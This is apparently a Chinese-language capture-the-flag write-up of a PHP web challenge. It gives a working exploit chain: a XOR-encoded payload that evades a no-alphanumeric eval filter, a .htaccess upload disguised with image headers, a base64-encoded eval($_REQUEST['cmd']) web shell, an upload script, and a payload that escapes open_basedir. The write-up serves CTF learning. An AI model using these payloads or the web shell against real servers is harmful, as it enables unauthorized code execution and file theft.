emmm,这道题目涉及到较多知识点,就单独记录一下
首先打开网页可以看见源码:
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
可以看见最后有个命令执行,不过对我们的参数进行了许多的过滤,
无数字字母,类似于这种之前第十届极客大挑战也有过,,可以采用异或、取反、自增绕过
这里取反无法实现,这里对长度有要求,所以自增也放弃,采用异或来进行绕过,
异或脚本:
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
}
}
finds("_GET");
?>
运行得到,因为这里还有字符种类限制,所以前面的都得一样:
得到payload:
?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
可以看见phpinfo页面,版本7.2,由于这里各种限制,所以我们就只能从get_the_flag()函数下手了
可以看见是上传文件,对后缀名进行了过滤,不能上传有ph的后缀文件,phtml,php等也不能上传了,
可以考虑.htaccess和.user.ini,不过这里.user.ini好像不行
对内容进行了过滤,不能包含,由于这里版本太高,所以无法使用
这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码
还有个文件头检测,好办,一般都用GIF89进行绕过,但是这里会出现问题,.htaccess文件会无法生效
我们可以使用#define width 1337 #define height 1337
进行绕过,#在.htaccess中表示注释
所以我们的.htaccess文件内容如下:
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
shell.ahhh:
GIF89a12 #12是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==
上传脚本:
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"")
url = "http://95670a2d-e895-4364-bb7b-94939098a4b6.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
得到路径:
访问shell:
可以执行,但是好像无法读取根目录下的东西,可以读取/tmp的目录,不可以读取/etc的目录
从phpinfo中看到:
接下来就是绕过open_basedir了,参考这个bypass open_basedir的新方法
直接拿文中的payload用一下:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
得到flag~~
这个题知识点主要有三个:
1、通过异或来绕过无数字无字母的函数执行
2、通过上传.htaccess来getshell,其中还包括,如何绕过上传的过滤
3、绕过open_basedir
总的来说收获很大,不得不说suctf的质量很高,像我这种菜鸡就不会做,,,,
在吐槽一下这个网络,做一半断网差点文章不保~~~